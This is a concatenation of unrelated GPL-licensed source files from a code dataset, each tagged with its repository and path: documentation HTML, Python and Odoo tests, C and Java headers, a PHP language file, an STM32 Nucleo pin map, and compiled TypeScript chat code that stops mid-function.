Rao</a> <br> <a href="https://advocacy.mozilla.org/en-US/open-web-fellows/fellows2016">Ford-Mozilla Open Web Fellow</a> <br> <a href="https://edri.org/"><h4>European Digital Rights (EDRi)</h4></a> </p> </div> </div> </footer> </div> <!-- /.container-fluid --> <!-- JQuery scripts --> <script src="assets/js/jquery-1.11.2.min.js"></script> <!-- Bootstrap Core scripts --> <script src="assets/js/bootstrap.min.js"></script> </body> </html>
gpl-3.0
biomathman/cellerator
cellzilla/html/Centeroid.html
3080
<html> <head> <meta name="generator" content="Bluefish 2.2.2" > <meta name="generator" content="Bluefish 2.2.2" > <meta name="generator" content="Bluefish 2.2.2" > <meta name="generator" content="Bluefish 2.2.2" > <link rel="STYLESHEET" href="main.css" type="text/css"> <title>Centeroid</title> </head> <body> <a name="TopOfPage"></a> <center> <div class="main"> <div class="logo"> <a href="http://xlr8r.info" border="0"><img src="logo.svg" alt="The xCellerator Project" width="150"></a><br> xlr8r:Cellzilla </div> <div class="text"> <br> <table border="0" width="100%"> <tr> <td class="function" style="font-size:x-large;font-weight:bold;">Centeroid</td> <td align="right"><a class="button" href="./index.html">Cellzilla2D Home</a></td> </tr> </table> <hr color="#FF7636"> <p class="header">Description</p> <p>Finds the centroid of a collection of vertices. The centroid is defined to be the mean of the coordinates. The centroid is not the same as the center of mass unless all of the mass is equally distributed amongst the vertices. To find the center of mass instead of the mean coordinates use the function <a href="Centroid.html" class="function"><b>Centroid</b></a> instead. </p> <p><span class="function">Needs["Cellzilla2D`"];</span></p> <p class="header">Return Value</p> <p><span class="function">Centeroid[{v1,v2, ...}]</span> - returns the centroid of the specified polygon, where the vi are vertices of the polygon. The vertices are assumed to be in order around the edge of the polygon, either clockwise or counter-clockwise.</p> <p><span class="function">Centeroid[tissue, n]</span> - returns the centroid cell n.</p> <p><span class="function">Centeroid[tissue, {n1,n2,...}]</span> - returns the centroid of cells n1,n2,..</p> <p><span class="function">Centeroid[tissue]</span> - returns the centroid of all cells in the tissue.</p> <p class="header">Options</p> <p class="header">Example</p> <p>[ <a href="examples/Centeroid-example.nb.zip">Download Example as Zipped Mathematica Notebook</a> ]</p> <p><iframe frameborder="1" width="100%" height="500" name="display" src="./examples/Centeroid-example.htm" id= "display" style="background-color:white;"><a href="">View as html.</a></iframe></p> <p class="header">Implementation Notes</p> <p class="header">See Also</p> <p><a href="Centroid.html" class="function">Centroid</a></p> <div class="logo"> <center> <a href="https://github.com/biomathman/cellerator"><img src="GitHub_Logo.png" height="37px"> <img src="GitHub-Mark-64px.png" height="37px"></a> </center> </div> </div> </div><br> <br> <span style="font-size:xx-small;">[6 June 2017]</span> </div> </center> </body> </html>
gpl-3.0
otsaloma/gaupol
gaupol/dialogs/test/test_position_transform.py
1527
# -*- coding: utf-8 -*- # Copyright (C) 2005 Osmo Salomaa # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import gaupol from gi.repository import Gtk class _TestPositionTransformDialog(gaupol.TestCase): def run_dialog(self): self.dialog.run() self.dialog.destroy() def test__on_response(self): self.dialog.response(Gtk.ResponseType.OK) class TestFrameTransformDialog(_TestPositionTransformDialog): def setup_method(self, method): self.application = self.new_application() self.dialog = gaupol.FrameTransformDialog( self.application.window, self.application) self.dialog.show() class TestTimeTransformDialog(_TestPositionTransformDialog): def setup_method(self, method): self.application = self.new_application() self.dialog = gaupol.TimeTransformDialog( self.application.window, self.application) self.dialog.show()
gpl-3.0
kinztechcom/OSRS-Server
src/com/kinztech/os/network/codec/game/decode/DecodedPacket.java
382
package com.kinztech.os.network.codec.game.decode; import com.kinztech.os.game.node.entity.player.Player; import com.kinztech.os.network.protocol.PacketDefinition; import com.kinztech.os.utilities.RSBuffer; /** * Created by Allen Kinzalow on 5/25/2015. */ public interface DecodedPacket { void decode(Player player, RSBuffer in, PacketDefinition definition, int size); }
gpl-3.0
ChawalitK/odoo
addons/website_event_sale/tests/test_ui.py
731
import odoo.tests @odoo.tests.common.at_install(False) @odoo.tests.common.post_install(True) class TestUi(odoo.tests.HttpCase): def test_admin(self): self.phantom_js("/", "odoo.__DEBUG__.services['web.Tour'].run('event_buy_tickets', 'test')", "odoo.__DEBUG__.services['web.Tour'].tours.event_buy_tickets", login="admin") def test_demo(self): self.phantom_js("/", "odoo.__DEBUG__.services['web.Tour'].run('event_buy_tickets', 'test')", "odoo.__DEBUG__.services['web.Tour'].tours.event_buy_tickets", login="demo") def test_public(self): self.phantom_js("/", "odoo.__DEBUG__.services['web.Tour'].run('event_buy_tickets', 'test')", "odoo.__DEBUG__.services['web.Tour'].tours.event_buy_tickets")
gpl-3.0
fwahyudi17/ofiskita
pos/application/language/en/config_lang.php
8009
<?php $lang["config_address"] = "Company Address"; $lang["config_address_required"] = "Company address is a required field"; $lang["config_backup_button"] = "Backup"; $lang["config_backup_database"] = "Backup Database"; $lang["config_barcode_company"] = "Company Name"; $lang["config_barcode_configuration"] = "Barcode Configuration"; $lang["config_barcode_content"] = "Barcode Content"; $lang["config_barcode_first_row"] = "Row 1"; $lang["config_barcode_font"] = "Font"; $lang["config_barcode_height"] = "Height (px)"; $lang["config_barcode_id"] = "Item Id/Name"; $lang["config_barcode_info"] = "Barcode Configuration Information"; $lang["config_barcode_layout"] = "Barcode Layout"; $lang["config_barcode_name"] = "Name"; $lang["config_barcode_number"] = "UPC/EAN/ISBN"; $lang["config_barcode_number_in_row"] = "Number in row"; $lang["config_barcode_page_cellspacing"] = "Display page cellspacing"; $lang["config_barcode_page_width"] = "Display page width"; $lang["config_barcode_price"] = "Price"; $lang["config_barcode_quality"] = "Quality (1-100)"; $lang["config_barcode_second_row"] = "Row 2"; $lang["config_barcode_third_row"] = "Row 3"; $lang["config_barcode_type"] = "Barcode Type"; $lang["config_barcode_width"] = "Width (px)"; $lang["config_barcode_generate_if_empty"] = "Generate if empty"; $lang["config_initial_capital"] = "Initial Capital"; $lang["config_invoice_prefix"] = "Invoice Prefix"; $lang["config_company"] = "Company Name"; $lang["config_company_logo"] = "Company Logo"; $lang["config_company_required"] = "Company name is a required field"; $lang["config_company_website_url"] = "Company website is not a valid URL (http://...)"; $lang["config_currency_side"] = "Right side"; $lang["config_currency_symbol"] = "Currency Symbol"; $lang["config_custom1"] = "Custom Field 1"; $lang["config_custom10"] = "Custom Field 10"; $lang["config_custom2"] = "Custom Field 2"; $lang["config_custom3"] = "Custom Field 3"; $lang["config_custom4"] = "Custom Field 4"; $lang["config_custom5"] = "Custom Field 5"; $lang["config_custom6"] = "Custom Field 6"; $lang["config_custom7"] = "Custom Field 7"; $lang["config_custom8"] = "Custom Field 8"; $lang["config_custom9"] = "Custom Field 9"; $lang["config_decimal_point"] = "Decimal Point"; $lang["config_default_barcode_font_size_number"] = "The default barcode font size must be a number"; $lang["config_default_barcode_font_size_required"] = "The default barcode font size is a required field"; $lang["config_default_barcode_height_number"] = "The default barcode height must be a number"; $lang["config_default_barcode_height_required"] = "The default barcode height is a required field"; $lang["config_default_barcode_num_in_row_number"] = "The default barcode num in row must be a number"; $lang["config_default_barcode_num_in_row_required"] = "The default barcode num in row is a required field"; $lang["config_default_barcode_page_cellspacing_number"] = "The default barcode page cellspacing must be a number"; $lang["config_default_barcode_page_cellspacing_required"] = "The default barcode page cellspacing is a required field"; $lang["config_default_barcode_page_width_number"] = "The default barcode page width must be a number"; $lang["config_default_barcode_page_width_required"] = "The default barcode page width is a required field"; $lang["config_default_barcode_quality_number"] = "The default barcode quality must be a number"; $lang["config_default_barcode_quality_required"] = "The default barcode quality is a required field"; $lang["config_default_barcode_width_number"] = "The default barcode width must be a number"; $lang["config_default_barcode_width_required"] = "The default barcode width is a required field"; $lang["config_default_sales_discount"] = "Default Sales Discount %"; $lang["config_default_sales_discount_number"] = "The default sales discount must be a number"; $lang["config_default_sales_discount_required"] = "The default sales discount is a required field"; $lang["config_default_tax_rate"] = "Default Tax Rate %"; $lang["config_default_tax_rate_1"] = "Tax 1 Rate"; $lang["config_default_tax_rate_2"] = "Tax 2 Rate"; $lang["config_default_tax_rate_number"] = "The default tax rate must be a number"; $lang["config_default_tax_rate_required"] = "The default tax rate is a required field"; $lang["config_fax"] = "Fax"; $lang["config_general_configuration"] = "General Configuration"; $lang["config_info"] = "Store Configuration Information"; $lang["config_invoice_default_comments"] = "Default Invoice Comments"; $lang["config_invoice_email_message"] = "Invoice Email Template"; $lang["config_invoice_printer"] = "Invoice Printer"; $lang["config_jsprintsetup_required"] = "Warning! This disabled functionality will only work if you have the FireFox jsPrintSetup addon installed. Save anyway?"; $lang["config_language"] = "Language"; $lang["config_lines_per_page"] = "Lines Per Page"; $lang["config_lines_per_page_number"] = ""; $lang["config_lines_per_page_required"] = "The lines per page is a required field"; $lang["config_location_configuration"] = "Stock Locations"; $lang["config_location_info"] = "Location Configuration Information"; $lang["config_logout"] = "Don't you want to make a backup before logging out? Click [OK] to backup, [Cancel] to logout"; $lang["config_number_format"] = "Number Format"; $lang["config_phone"] = "Company Phone"; $lang["config_phone_required"] = "Company phone is a required field"; $lang["config_print_bottom_margin"] = "Margin Bottom"; $lang["config_print_bottom_margin_number"] = "The default bottom margin must be a number"; $lang["config_print_bottom_margin_required"] = "The default bottom margin is a required field"; $lang["config_print_footer"] = "Print Browser Footer"; $lang["config_print_header"] = "Print Browser Header"; $lang["config_print_left_margin"] = "Margin Left"; $lang["config_print_left_margin_number"] = "The default left margin must be a number"; $lang["config_print_left_margin_required"] = "The default left margin is a required field"; $lang["config_print_right_margin"] = "Margin Right"; $lang["config_print_right_margin_number"] = "The default right margin must be a number"; $lang["config_print_right_margin_required"] = "The default right margin is a required field"; $lang["config_print_silently"] = "Show Print Dialog"; $lang["config_print_top_margin"] = "Margin Top"; $lang["config_print_top_margin_number"] = "The default top margin must be a number"; $lang["config_print_top_margin_required"] = "The default top margin is a required field"; $lang["config_receipt_configuration"] = "Print Settings"; $lang["config_receipt_info"] = "Receipt Configuration Information"; $lang["config_receipt_printer"] = "Ticket Printer"; $lang["config_receipt_show_taxes"] = "Show Taxes"; $lang["config_receiving_calculate_average_price"] = "Calc avg. Price (Receiving)"; $lang["config_recv_invoice_format"] = "Receivings Invoice Format"; $lang["config_return_policy_required"] = "Return policy is a required field"; $lang["config_sales_invoice_format"] = "Sales Invoice Format"; $lang["config_saved_successfully"] = "Configuration saved successfully"; $lang["config_saved_unsuccessfully"] = "Configuration saved unsuccessfully"; $lang["config_show_total_discount"] = "Show total discount"; $lang["config_stock_location"] = "Stock location"; $lang["config_stock_location_duplicate"] = "Please use an unique location name"; $lang["config_stock_location_invalid_chars"] = "The stock location name can not contain '_'"; $lang["config_stock_location_required"] = "Stock location number is a required field"; $lang["config_tax_included"] = "Tax Included"; $lang["config_thousands_separator"] = "Thousands Separator"; $lang["config_timezone"] = "Timezone"; $lang["config_use_invoice_template"] = "Use invoice template"; $lang["config_website"] = "Website"; $lang["config_locale_configuration"] = "Localisation Configuration"; $lang["config_locale_info"] = "Localisation Configuration Information"; $lang["config_datetimeformat"] = "Date and Time format";
gpl-3.0
dvigal/sparta
include/convert.h
298
#ifndef CONVERT_H #define CONVERT_H #include "types.h" void convert(int32_t value, uint8_t *string, uint8_t base); void int_to_binary_string(int64_t value, uint8_t *buffer); void int_to_hex_string(int64_t value, uint8_t *buffer); void int_to_dec_string(int32_t value, uint8_t *buffer); #endif
gpl-3.0
davidrohr/hpl-gpu
include/hpl_ptest.h
5676
/* * -- High Performance Computing Linpack Benchmark (HPL-GPU) * HPL-GPU - 2.0 - 2015 * * David Rohr * Matthias Kretz * Matthias Bach * Goethe Universität, Frankfurt am Main * Frankfurt Institute for Advanced Studies * (C) Copyright 2010 All Rights Reserved * * Antoine P. Petitet * University of Tennessee, Knoxville * Innovative Computing Laboratory * (C) Copyright 2000-2008 All Rights Reserved * * -- Copyright notice and Licensing terms: * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions, and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgements: * This product includes software developed at the University of * Tennessee, Knoxville, Innovative Computing Laboratory. * This product includes software developed at the Frankfurt Institute * for Advanced Studies. * * 4. The name of the University, the name of the Laboratory, or the * names of its contributors may not be used to endorse or promote * products derived from this software without specific written * permission. * * -- Disclaimer: * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE UNIVERSITY * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ====================================================================== */ #ifndef HPL_PTEST_H #define HPL_PTEST_H /* * --------------------------------------------------------------------- * Include files * --------------------------------------------------------------------- */ #include "hpl_misc.h" #include "hpl_blas.h" #include "hpl_auxil.h" #include "hpl_gesv.h" #include "hpl_pmisc.h" #include "hpl_pauxil.h" #include "hpl_panel.h" #include "hpl_pgesv.h" #include "hpl_ptimer.h" #include "hpl_pmatgen.h" /* * --------------------------------------------------------------------- * Data Structures * --------------------------------------------------------------------- */ typedef struct HPL_S_test { double epsil; /* epsilon machine */ double thrsh; /* threshold */ FILE * outfp; /* output stream (only in proc 0) */ int kfail; /* # of tests failed */ int kpass; /* # of tests passed */ int kskip; /* # of tests skipped */ int ktest; /* total number of tests */ float* node_perf; //Performance of participating nodes } HPL_T_test; /* * --------------------------------------------------------------------- * #define macro constants for testing only * --------------------------------------------------------------------- */ #define HPL_LINE_MAX 256 #define HPL_MAX_PARAM 20 #define HPL_IDEFSEED 100 /* the default seed */ /* * --------------------------------------------------------------------- * global timers for timing analysis only * --------------------------------------------------------------------- */ #ifdef HPL_DETAILED_TIMING #define HPL_TIMING_BEG 11 /* timer 0 reserved, used by main */ #define HPL_TIMING_N 6 /* number of timers defined below */ #define HPL_TIMING_RPFACT 11 /* starting from here, contiguous */ #define HPL_TIMING_PFACT 12 #define HPL_TIMING_MXSWP 13 #define HPL_TIMING_UPDATE 14 #define HPL_TIMING_LASWP 15 #define HPL_TIMING_PTRSV 16 #define HPL_TIMING_DGEMM 17 #define HPL_TIMING_DTRSM 18 #define HPL_TIMING_DLATCPY 19 #define HPL_TIMING_BCAST 20 #define HPL_TIMING_BCASTUPD 21 #define HPL_TIMING_ITERATION 22 #define HPL_TIMING_DLACPY 23 #define HPL_TIMING_UBCAST 24 #define HPL_TIMING_PIPELINE 25 #define HPL_TIMING_PREPIPELINE 26 #endif /* * --------------------------------------------------------------------- * Function prototypes * --------------------------------------------------------------------- */ void HPL_pdinfo( HPL_T_test *, int *, int *, int *, int *, HPL_T_ORDER *, int *, int *, int *, int *, HPL_T_FACT *, int *, int *, int *, int *, int *, HPL_T_FACT *, int *, HPL_T_TOP *, int *, int *, int *, int * ); void HPL_pdtest( HPL_T_test *, HPL_T_grid *, HPL_T_palg *, const int, const int, const int ); void HPL_readruntimeconfig(void); #endif /* * End of hpl_ptest.h */
gpl-3.0
AtDinesh/Arduino_progs
Arduino_STM32/STM32F1/variants/nucleo_f103rb/board.cpp
11487
/****************************************************************************** * The MIT License * * Copyright (c) 2011 LeafLabs, LLC. * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. *****************************************************************************/ /** * @file board.cpp for STM32 Nucleo-F103RB * @original author Grégoire Passault <g.passault@gmail.com> * @brief Nucleo board file * edited and tested by Matthias Diro, Release Date: 27.01.2015 * there are some solderings neccessary for complete compatibility * consider the Nucleo User manual for: * OSC clock: clock must be driven either from "MCO from ST-Link" or Oscillator from external PF0/PD0/PH0. Soldering is neccessary if board number is MB1136 C-01, see -> 5.7 OSC clock * USART: If PA2/PA3 needed, solder bridges must be changed. see -> 5.8 USART communication */ //#include <board/board.h> // For this board's header file //#include <wirish_types.h> // For stm32_pin_info and its contents // (these go into PIN_MAP). //#include "boards_private.h" // For PMAP_ROW(), which makes // PIN_MAP easier to read. #include <board/board.h> #include <libmaple/gpio.h> #include <libmaple/timer.h> /* Roger Clark. Added next to includes for changes to Serial */ #include <libmaple/usart.h> #include <HardwareSerial.h> #include <wirish_debug.h> #include <wirish_types.h> // boardInit(): NUCLEO rely on some remapping void boardInit(void) { afio_cfg_debug_ports(AFIO_DEBUG_SW_ONLY); // relase PC3 and PC5 on nucleo afio_remap(AFIO_REMAP_USART3_PARTIAL); // remap Serial2(USART3)PB10/PB11 // to PC10/PC11 -> don't forget to insert into gpio.h: // AFIO_REMAP_USART3_PARTIAL = AFIO_MAPR_USART3_REMAP_PARTIAL afio_remap(AFIO_REMAP_TIM2_FULL); // better PWM compatibility afio_remap(AFIO_REMAP_TIM3_PARTIAL);// better PWM compatibility } /* namespace wirish { namespace priv { static stm32f1_rcc_pll_data pll_data = {RCC_PLLMUL_9}; rcc_clk w_board_pll_in_clk = RCC_CLK_HSI; rcc_pll_cfg w_board_pll_cfg = {RCC_PLLSRC_HSI_DIV_2, &pll_data}; } } */ // Pin map: this lets the basic I/O functions (digitalWrite(), // analogRead(), pwmWrite()) translate from pin numbers to STM32 // peripherals. // // PMAP_ROW() lets us specify a row (really a struct stm32_pin_info) // in the pin map. Its arguments are: // // - GPIO device for the pin (&gpioa, etc.) // - GPIO bit for the pin (0 through 15) // - Timer device, or NULL if none // - Timer channel (1 to 4, for PWM), or 0 if none // - ADC device, or NULL if none // - ADC channel, or ADCx if none // gpioX, PINbit, TIMER/NULL, timerch/0, &adc1/NULL, adcsub/0 // gpioX, TIMER/NULL, &adc1/NULL, PINbit, timerch/0, adcsub/0 // 0 1 2 3 4 5 // 0 3 1 4 2 5 // 0 1 3 4 2 5 // 0 1 2 4 2 5 extern const stm32_pin_info PIN_MAP[BOARD_NR_GPIO_PINS] = { /* Arduino-like header, right connectors */ {&gpioa, NULL, &adc1, 3, 0, 3}, /* D0/PA3 */ {&gpioa, NULL, &adc1, 2, 0, 2}, /* D1/PA2 */ {&gpioa, &timer1, NULL, 10, 3, ADCx}, /* D2/PA10 */ {&gpiob, &timer2, NULL, 3, 2, ADCx}, /* D3/PB3 */ {&gpiob, &timer3, NULL, 5, 2, ADCx}, /* D4/PB5 */ {&gpiob, &timer3, NULL, 4, 1, ADCx}, /* D5/PB4 */ {&gpiob, &timer2, NULL, 10, 3, ADCx}, /* D6/PB10 */ {&gpioa, &timer1, NULL, 8, 1, ADCx}, /* D7/PA8 */ {&gpioa, &timer1, NULL, 9, 2, ADCx}, /* D8/PA9 */ {&gpioc, NULL, NULL, 7, 0, ADCx}, /* D9/PC7 */ {&gpiob, &timer4, NULL, 6, 1, ADCx}, /* D10/PB6 */ {&gpioa, NULL, &adc1, 7, 0, 7}, /* D11/PA7 */ {&gpioa, NULL, &adc1, 6, 0, 6}, /* D12/PA6 */ {&gpioa, NULL, NULL, 5, 0, ADCx}, /* D13/PA5 LED - no &adc12_IN5 !*/ {&gpiob, &timer4, NULL, 9, 4, ADCx}, /* D14/PB9 */ {&gpiob, &timer4, NULL, 8, 3, ADCx}, /* D15/PB8 */ {&gpioa, NULL, &adc1, 0, 0, 0}, /* D16/A0/PA0 */ {&gpioa, NULL, &adc1, 1, 0, 1}, /* D17/A1/PA1 */ {&gpioa, NULL, &adc1, 4, 0, 4}, /* D18/A2/PA4 */ {&gpiob, &timer3, &adc1, 0, 3, 8}, /* D19/A3/PB0 */ {&gpioc, NULL, &adc1, 1, 0, 11}, /* D20/A4/PC1 */ {&gpioc, NULL, &adc1, 0, 0, 10}, /* D21/A5/PC0 */ {&gpioc, NULL, NULL, 10, 0, ADCx}, /* D22/PC10 */ {&gpioc, NULL, NULL, 12, 0, ADCx}, /* D23/PC12 */ {&gpiob, &timer4, NULL, 7, 2, ADCx}, /* D24/PB7 */ {&gpioc, NULL, NULL, 13, 0, ADCx}, /* D25/PC13 USER BLUE BUTTON */ {&gpioc, NULL, NULL, 14, 0, ADCx}, /* D26/PC14 */ {&gpioc, NULL, NULL, 15, 0, ADCx}, /* D27/PC15 */ {&gpioc, NULL, &adc1, 2, 0, 12}, /* D28/PC2 */ {&gpioc, NULL, &adc1, 3, 0, 13}, /* D29/PC3 */ {&gpioc, NULL, NULL, 11, 0, ADCx}, /* D30/PC11 */ {&gpiod, NULL, NULL, 2, 0, ADCx}, /* D31/PD2 */ {&gpioc, NULL, NULL, 9, 0, ADCx}, /* D32/PC9 */ {&gpioc, NULL, NULL, 8, 0, ADCx}, /* D33/PC8 */ {&gpioc, NULL, NULL, 6, 0, ADCx}, /* D34/PC6 */ {&gpioc, NULL, &adc1, 5, 0, 15}, /* D35/PC5 */ {&gpioa, NULL, NULL, 12, 0, ADCx}, /* D36/PA12 */ {&gpioa, &timer1, NULL, 11, 4, ADCx}, /* D37/PA11 */ {&gpiob, NULL, NULL, 12, 0, ADCx}, /* D38/PB12 */ {&gpiob, &timer2, NULL, 11, 4, ADCx}, /* D39/PB11 PWM-not working?*/ {&gpiob, NULL, NULL, 2, 0, ADCx}, /* D40/PB2 BOOT1 !!*/ {&gpiob, &timer3, &adc1, 1, 4, 9}, /* D41/PB1 */ {&gpiob, NULL, NULL, 15, 0, ADCx}, /* D42/PB15 */ {&gpiob, NULL, NULL, 14, 0, ADCx}, /* D43/PB14 */ {&gpiob, NULL, NULL, 13, 0, ADCx}, /* D44/PB13 */ {&gpioc, NULL, &adc1, 4, 0, 14}, /* D45/PC4 */ // PMAP_ROW(&gpioa, 13, NULL, 0, NULL, ADCx), /* D41/PA13 do not use*/ // PMAP_ROW(&gpioa, 14, NULL, 0, NULL, ADCx), /* D42/PA14 do not use*/ // PMAP_ROW(&gpioa, 15, &timer2, 1, NULL, ADCx), /* D43/PA15 do not use*/ }; // Array of pins you can use for pwmWrite(). Keep it in Flash because // it doesn't change, and so we don't waste RAM. extern const uint8 boardPWMPins[] __FLASH__ = { 2,3,5,6,7,8,10,14,15,19,24,37,39,41 }; // Array of pins you can use for analogRead(). extern const uint8 boardADCPins[] __FLASH__ = { 0,1,11,12,16,17,18,19,20,21,28,29,35,41,45 }; // Array of pins that the board uses for something special. Other than // the button and the LED, it's usually best to leave these pins alone // unless you know what you're doing. /* remappings Infos ************************************* Bit 12 TIM4_REMAP: TIM4 remapping This bit is set and cleared by software. It controls the mapping of TIM4 channels 1 to 4 onto the GPIO ports. 0: No remap (TIM4_CH1/PB6, TIM4_CH2/PB7, TIM4_CH3/PB8, TIM4_CH4/PB9) 1: Full remap (TIM4_CH1/PD12, TIM4_CH2/ ************************************* Bits 11:10 TIM3_REMAP[1:0]: TIM3 remapping These bits are set and cleared by software. They control the mapping of TIM3 channels 1 to 4 on the GPIO ports. 00: No remap (CH1/PA6, CH2/PA7, CH3/PB0, CH4/PB1) 01: Not used 10: Partial remap (CH1/PB4, CH2/PB5, CH3/PB0, CH4/PB1) 11: Full remap (CH1/PC6, CH2/PC7, CH3/PC8, CH4/PC9) Note: TIM3_ETR on PE0 is not re-mapped. ************************************* Bits 9:8 TIM2_REMAP[1:0]: TIM2 remapping These bits are set and cleared by software. They control the mapping of TIM2 channels 1 to 4 and external trigger (ETR) on the GPIO ports. 00: No remap (CH1/ETR/PA0, CH2/PA1, CH3/PA2, CH4/PA3) 01: Partial remap (CH1/ETR/PA15, CH2/PB3, CH3/PA2, CH4/PA3) 10: Partial remap (CH1/ETR/PA0, CH2/PA1, CH3/PB10, CH4/PB11) 11: Full remap (CH1/ETR/PA15, CH2/PB3, CH3/PB10, CH4/PB11) ************************************* Bits 7:6 TIM1_REMAP[1:0]: TIM1 remapping These bits are set and cleared by software. They control the mapping of TIM1 channels 1 to 4, 1N to 3N, external trigger (ETR) and Break input (BKIN) on the GPIO ports. 00: No remap (ETR/PA12, CH1/PA8, CH2/PA9, CH3/PA10, CH4/PA11, BKIN/PB12, CH1N/PB13, CH2N/PB14, CH3N/PB15) 01: Partial remap (ETR/PA12, CH1/PA8, CH2/PA9, CH3/PA10, CH4/PA11, BKIN/PA6, CH1N/PA7, CH2N/PB0, CH3N/PB1) 10: not used 11: Full remap (ETR/PE7, CH1/PE9, CH2/PE11, CH3/PE13, CH4/PE14, BKIN/PE15, CH1N/PE8, CH2N/PE10, CH3N/PE12) ************************************* Bits 5:4 USART3_REMAP[1:0]: USART3 remapping These bits are set and cleared by software. They control the mapping of USART3 CTS, RTS,CK,TX and RX alternate functions on the GPIO ports. 00: No remap (TX/PB10, RX/PB11, CK/PB12, CTS/PB13, RTS/PB14) 01: Partial remap (TX/PC10, RX/PC11, CK/PC12, CTS/PB13, RTS/PB14) 10: not used 11: Full remap (TX/PD8, RX/PD9, CK/PD10, CTS/PD11, RTS/PD12) ************************************* Bit 3 USART2_REMAP: USART2 remapping This bit is set and cleared by software. It controls the mapping of USART2 CTS, RTS,CK,TX and RX alternate functions on the GPIO ports. 0: No remap (CTS/PA0, RTS/PA1, TX/PA2, RX/PA3, CK/PA4) 1: Remap (CTS/PD3, RTS/PD4, TX/PD5, RX/PD6, CK/PD7) ************************************* Bit 2 USART1_REMAP: USART1 remapping This bit is set and cleared by software. It controls the mapping of USART1 TX and RX alternate functions on the GPIO ports. 0: No remap (TX/PA9, RX/PA10) 1: Remap (TX/PB6, RX/PB7) ************************************* Bit 1 I2C1_REMAP: I2C1 remapping This bit is set and cleared by software. It controls the mapping of I2C1 SCL and SDA alternate functions on the GPIO ports. 0: No remap (SCL/PB6, SDA/PB7) 1: Remap (SCL/PB8, SDA/PB9) ************************************* Bit 0 SPI1_REMAP: SPI1 remapping This bit is set and cleared by software. It controls the mapping of SPI1 NSS, SCK, MISO, MOSI alternate functions on the GPIO ports. 0: No remap (NSS/PA4, SCK/PA5, MISO/PA6, MOSI/PA7) 1: Remap (NSS/PA15, SCK/PB3, MISO/PB4, MOSI/PB5) */ /* * Roger Clark * * 2015/05/28 * * Moved definitions for Hardware Serial devices from HardwareSerial.cpp so that each board can define which Arduino "Serial" instance * Maps to which hardware serial port on the microprocessor */ #ifdef SERIAL_USB DEFINE_HWSERIAL(Serial1, 1); DEFINE_HWSERIAL(Serial2, 2); DEFINE_HWSERIAL(Serial3, 3); #else DEFINE_HWSERIAL(Serial, 3);// Use HW Serial 2 as "Serial" DEFINE_HWSERIAL(Serial1, 2); DEFINE_HWSERIAL(Serial2, 1); #endif
gpl-3.0
hgrall/merite
src/communication/v0/typeScript/build/tchat/commun/chat.js
4687
"use strict"; var __extends = (this && this.__extends) || (function () { var extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; }; return function (d, b) { extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; })(); exports.__esModule = true; var communication_1 = require("../../bibliotheque/communication"); var TypeMessageChat; (function (TypeMessageChat) { TypeMessageChat[TypeMessageChat["COM"] = 0] = "COM"; TypeMessageChat[TypeMessageChat["TRANSIT"] = 1] = "TRANSIT"; TypeMessageChat[TypeMessageChat["AR"] = 2] = "AR"; TypeMessageChat[TypeMessageChat["ERREUR_CONNEXION"] = 3] = "ERREUR_CONNEXION"; TypeMessageChat[TypeMessageChat["ERREUR_EMET"] = 4] = "ERREUR_EMET"; TypeMessageChat[TypeMessageChat["ERREUR_DEST"] = 5] = "ERREUR_DEST"; TypeMessageChat[TypeMessageChat["ERREUR_TYPE"] = 6] = "ERREUR_TYPE"; TypeMessageChat[TypeMessageChat["INTERDICTION"] = 7] = "INTERDICTION"; })(TypeMessageChat = exports.TypeMessageChat || (exports.TypeMessageChat = {})); var MessageChat = (function (_super) { __extends(MessageChat, _super); function MessageChat() { return _super !== null && _super.apply(this, arguments) 